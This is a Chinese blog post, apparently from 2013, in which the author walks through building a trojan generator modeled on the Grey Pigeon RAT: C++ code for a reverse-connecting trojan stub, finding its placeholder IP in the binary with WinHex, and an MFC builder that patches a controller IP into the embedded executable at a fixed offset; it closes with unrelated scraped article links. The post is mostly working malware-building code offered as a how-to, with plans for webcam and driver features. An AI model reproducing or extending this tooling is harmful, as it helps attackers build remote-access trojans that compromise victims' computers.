2013-03-17 11:43 (分类:网络安全)

       用了两周时间就写了个这破东西,不是木马源码,就是个木马生成器,大概类似下图,这图是灰鸽子的界面

设置好各种参数后,点击生成服务器,一个小木马就出来了。

以后可能会忘,这次记录详细些。

1 .先编写一个小木马,不加其它功能,做测试用,只有一个反向连接的功能,做成控制台程序,

#include<WINSOCK2.H> 
#include <TCHAR.h>
#pragma comment(lib, "ws2_32.lib")
#include <iostream>
using namespace std;
int main()
{
int port=9999;//连接端口
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET m_Socket;
m_Socket= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
// 构造sockaddr_in结构
SOCKADDR_IN ClientAddr;
ClientAddr.sin_family= AF_INET;
ClientAddr.sin_port = htons(port);
ClientAddr.sin_addr.S_un.S_addr=inet_addr("xxx.xxx.xxx.xxx.");//注意xx
connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr));
CHAR recvbuffer[100];
recv(m_Socket,recvbuffer,100,0);
return 0;
}这里面注意这句就行了ClientAddr.sin_addr.S_un.S_addr=inet_addr("xxx.xxx.xxx.xxx.");//注意xx为什么把ip地址设成xxx.xxx.xxx.xxx? 一会再二进制代码里方便定位2.编译 链接生成 一个 server.exe 程序。打开WinHex,把server.exe拖进去分析一下,看图

这个位置就是存放ip地址的位置,设置为xxx方便定位,记下它的地址  3844-3858

3.接着建立一个新工程mfc程序 做个小界面

直接贴代码了,在此之前最重要的是导入资源,把刚才的server.exe导入进来,点工程里的资源-添加资源-导入
找到 server.exe  资源类型随便写,我设置的是exe

生成服务端按钮响应函数

void CServerBuilderDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知处理程序代码
UpdateData(TRUE); 
  CString str1 = _T("");//判断两个编辑框是否为空 CString str2= _T("");
GetDlgItem(IDC_EDIT_ControlIp)->GetWindowText(str1);//类型转换
GetDlgItem(IDC_EDIT_ControlPort)->GetWindowText(str2);
if(str1.IsEmpty()||str2.IsEmpty())
{
MessageBox(_T("请填写完整的ip和端口"),_T("警告"));
return;
}

HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize, dwWritten;
HANDLE hFile;
LPBYTE p; //开辟内存空间
TCHAR szIp[16]={0}; //接收控件变量,也就是ip地址

// 查找所需的资源,这三个函数FindResource查找刚才的server.exe程序 
hResInfo = FindResource(NULL,MAKEINTRESOURCEW(IDR_EXE1), _T("EXE"));
if (hResInfo == NULL)
MessageBox(_T("FindResource出错"),_T("提示"),0);

// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);

// 装载资源,把server.exe装载
hResData=LoadResource(NULL,hResInfo);
if(hResData==NULL)
MessageBox(_T("LoadResource出错"),_T("提示"),0);

// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
MessageBox(_T("分配内存失败!"), _T("错误"), MB_OK | MB_ICONINFORMATION);

// 复制资源数据,将server.exe复制到开辟的p空间里 CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
// 获取IP和port,并复制数据,将我设置的ip拷贝到数组szip中
GetDlgItem(IDC_EDIT_ControlIp)->GetWindowTextW(szIp,16);

MessageBox(szIp,_T("提示"),0);

//将unicode码转换为多字节码,这一点是最重要的,耗了我好几天,又是宽字节窄字节的
//问题,在server.exe中ip是窄字节,但是szip这个数组是宽字节,必须转换一下 //将szip数组中宽字节ip地址,拷贝到pstext中变成窄字节
//转换函数是widechartomultibyte,msdn自己看看就好
DWORD dwNum = WideCharToMultiByte(CP_OEMCP,NULL,szIp,-1,NULL,0,NULL,FALSE);
char *psText;
psText = new char[dwNum];
if(!psText)
{
delete []psText;
}
WideCharToMultiByte (CP_OEMCP,NULL,szIp,-1,psText,dwNum,NULL,FALSE);
//这里是最重要的,要把pstext中的ip地址拷贝到server.exe中,代替其中的xxx.xxx.
//这个ip地址,0xf04是十六进制,其实就是十进制的3844 ,p是刚才开辟的空间首地址
//p+0xf04就是server.exe中ip首地址,dwnum是拷贝长度  CopyMemory((LPVOID)(p + 0xf04),(LPCVOID)psText,dwNum);
// 创建文件
/*
//另一种创建文件的方法
CFileDialog dlg(FALSE,_T("exe"), _T("server.exe"), OFN_OVERWRITEPROMPT,_T("可执行文件|*.exe"), NULL);
if(dlg.DoModal () != IDOK)
return;*/
//自动在d盘创建好一个小马servercode.exe和server.exe内容一样,只是xxx.xxx.xxx.xx //x变成了我们拷贝的地址
hFile=CreateFile(_T("D:\\ServerCode.exe"),GENERIC_WRITE,0,NULL,OPEN_ALWAYS,0, NULL);
if(hFile==NULL)
{
MessageBox(_T("CreateFile出错"),_T("提示"),0);
GlobalFree((HGLOBAL)p);
}

//向文件内写入信息,把p空间内的数据写入
WriteFile(hFile,(LPCVOID)p,dwSize,&dwWritten,NULL);

// 收尾工作,释放资源
CloseHandle(hFile);
GlobalFree((HGLOBAL)p);
return ;
/*CFileDialog dlg(FALSE,_T("exe"), _T("server.exe"), OFN_OVERWRITEPROMPT,_T("可执行文件|*.exe"), NULL);
if(dlg.DoModal () != IDOK)
return;*/
}

在d盘生成servercode.exe

打开servercode.exe  ip地址已经改动

这个生成器用的是数据替换法,在定位时会遇到一些困难,编写时非常费时,
比较好的办法是在程序的尾部追加数据,然后程序运行时从尾部读取数据,灰鸽子的源码基本就是这样,先把一个文件复制出来然后把数据写到文件尾部。我这样的菜鸟暂时就不搞了。

接下来就是木马源码了,做驱动,开摄像头。。。

继续向前走。。。

编写“木马生成器”软件总结相关推荐

  1. 车牌自动生成器软件设计与实现

    目  录 摘要 Abstract 1. 绪论 1.1 研究背景与意义 1.2 国内外研究现状 1.3 本文主要工作 1.4 论文组织结构 2. 相关技术 2.1 车牌生成流程概述 2.2 国内车牌相关 ...

  2. Delphi编写后台监控软件

    Delphi编写后台监控软件 文章来源:Delphi程序员之家   后台监控软件,为了达到隐蔽监控的目的,应该满足正常运行时,不显示在任务栏上,在按Ctrl+Alt+Del出现的任务列表中也不显示,管 ...

  3. 读《代码不朽:编写可维护软件的10大要则》C# 版

    这本书特别针对没有接受过计算机科学或软件工程专业学习的软件开发人员,这类人员除了熟悉所用语言语法和语义之外,很少接受其他专业培训,对软件工程中的一些概念理解欠缺.软件设计方面考虑较少.如果要成为一个专 ...

  4. 编写代码的软件用什么编写的_如何通过像编写代码一样克服对编写的恐惧

    编写代码的软件用什么编写的 by Chris Rowe 通过克里斯·罗 How often do you get the fear? What do I mean by fear? How about ...

  5. 编写代码的软件用什么编写的_如果您编写代码,这就是您的黄金时代

    编写代码的软件用什么编写的 这是10月22日至23日在北卡罗来纳州罗利举行的万物公开会议第一天的两个主题演讲的部分抄写. Forrester Research副总裁兼首席分析师Jeffrey Hamm ...

  6. 随想录(我们应该编写什么样的软件)

    [ 声明:版权所有,欢迎转载,请勿用于商业用途. 联系信箱:feixiaoxing @163.com] 最近,我一直在思考,我们应该编写什么样的软件.或者可以换一种问法,客户自己需要什么样的软件.如果 ...

  7. linux用c语言模拟抢票系统,C语言可以编写抢票软件吗

    看见网上抢票软件都没有用C语言编写的,看不懂不知道怎么修改,是不是C语言不能编译啊? 解决方案 2 可以!骑自行车也可以到罗马的! 3 不好写. 还是用脚本之类的语言写吧. 例如python. 3 C ...

  8. 树莓派上编写串口助手软件

    1. 导读 本文介绍了使用python ,PyQt在树莓派的linux系统上编写一个串口软件的助手,重点介绍相关软件包的安装,串口助手软件的如何编译生成可执行文件. 2.安装相关软件 读到这里,你应该 ...

  9. 微信UI在线聊天源码 聊天系统PHP采用 PHP 编写的聊天软件,简直就是一个完整的迷你版微信

    介绍: DuckChat 是一套完整的私有即时通讯(instant message)解决方案,含服务器端程序.客户端(含 iOS.Android.PC 等)程序.通过 DuckChat,站点管理员可以 ...

最新文章

  1. 怎么修照片多余的部分_10 个摄影小技巧,让你的照片拿到超多赞!
  2. [转载]WorldWind实时确定、更新、初始化和渲染地形和纹理数据
  3. ios php rsa加密解密,php rsa加密解密使用详解
  4. SAP Cloud for Customer跨component的跳转
  5. 【数据库原理及应用】经典题库附答案(14章全)——第十章:数据库完整性
  6. linux上传下载文件命令rz、sz
  7. 过程生产excel_生产型企业,自己开发管理系统,该如何选型?
  8. 数据--第51课 - 二叉排序树
  9. maven jersey mysql_Maven和Jersey Framework开发REST风格Web Service
  10. java异常体系简介
  11. 学生信息管理系统(一)——登录窗体
  12. xp系统怎么关闭wmi服务器,XP系统电脑中解决wmi服务被禁用的开启方法
  13. android自定义dialog大小,android – 自定义对话框大小匹配Theme.Holo.Light.Dialog
  14. 【C语言】- 关机小程序
  15. php漏洞 代码,PHP漏洞代码点滴
  16. brew 一直等待_壹配资网门户技术解盘20201104:尿素遇阻回落 铜等待突破-股票外汇期货配资门户...
  17. 两独立样本T检验实例(用SPSS16.0实现)
  18. C/C++语言100题练习计划 88——猜数游戏(二分查找实现)
  19. PTA 1108 String复读机(Python3)
  20. 美团点评2020校招前端方向笔试题

热门文章

  1. 【新鲜出炉】腾讯云拿下新一代智慧校园项目,中台是建设重点
  2. CC2640 蓝牙动态切换广播数据
  3. 工业机器人:机电IT融合破局
  4. 用js实现网页中小广告弹出
  5. C语言初阶——5.字符串
  6. 港科夜闻|香港科大冯雁教授专访:人工智能的发展不能脱离人本
  7. 数据分析在保险销售中的应用
  8. GRA灰色关联度分析学习 附python代码
  9. 初识Navigation(导航)
  10. 【Excel / WPS表格】如何按列进行合并单元格?或者说按行进行合并单元格?